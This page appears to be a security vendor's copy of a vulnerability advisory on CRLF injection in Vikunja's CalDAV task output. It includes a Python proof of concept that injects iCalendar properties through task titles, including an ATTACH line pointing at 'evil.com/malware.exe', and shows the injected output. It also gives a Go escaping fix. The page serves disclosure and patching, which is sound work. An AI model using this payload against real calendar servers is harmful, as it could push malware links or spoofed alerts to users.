Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-35601 — vikunja

🟡 CVSS 4.1 — Medium ✅ No Known Exploit CWE-93 NVD
4.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output

Summary

The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.

Details

The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:

```go

SUMMARY:` + t.Summary + getCaldavColor(t.Color)

```

RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.

Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.

Proof of Concept

Tested on Vikunja v2.2.2.

```python

import requests

from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456"

API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",

json={"username": "alice", "password": "Alice1234!"}).json()["token"]

h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()

# create task with CRLF injection in title

task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={

"title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned"

}).json()

# set UID (normally done by CalDAV sync; here via sqlite for PoC)

# sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};"

TASK_UID = "inject-test-001"

# fetch via CalDAV

caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"]

r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",

auth=HTTPBasicAuth("alice", caldav_token))

print(r.text)

```

Output:

```

BEGIN:VCALENDAR

VERSION:2.0

BEGIN:VTODO

UID:inject-test-001

DTSTAMP:20260327T130452Z

SUMMARY:Meeting

ATTACH:https://evil.com/malware.exe

X-INJECTED:pwned

CREATED:20260327T130452Z

LAST-MODIFIED:20260327T130452Z

END:VTODO

END:VCALENDAR

```

The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.

Impact

An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:

  • Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display
  • Creating fake alarm notifications (VALARM) for social engineering
  • Spoofing organizer identity (ORGANIZER)

Recommended Fix

Apply RFC 5545 TEXT value escaping to all user-controlled fields:

```go

func escapeICal(s string) string {

s = strings.ReplaceAll(s, "\\", "\\\\")

s = strings.ReplaceAll(s, ";", "\\;")

s = strings.ReplaceAll(s, ",", "\\,")

s = strings.ReplaceAll(s, "\n", "\\n")

s = strings.ReplaceAll(s, "\r", "")

return s

}

```

Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.

*Found and reported by [aisafe.io](https://aisafe.io)*

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality none, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: None.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-35601 is classified as CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection'). The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

Affected software

CVE-2026-35601 is recorded against 2 packages.

  • code.vikunja.io/api
  • vikunja (fixed in 2.3.0)

Timeline and source

Published on 20 May 2026 and last revised on 8 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)

Other advisories for this package

code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')) in other software:

Details

Severity Medium
CVSS Score 4.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N
CWE CWE-93
Public Exploit ✅ No
Source NVD
Published 2026-05-20
Updated 2026-08-20
Modified 2026-06-08
Fix URL N/A

Affected Packages

Software From version Fixed in
code.vikunja.io/api
vikunja 2.3.0

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in vikunja

CVE-2026-35601 is rated CVSS 4.1 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026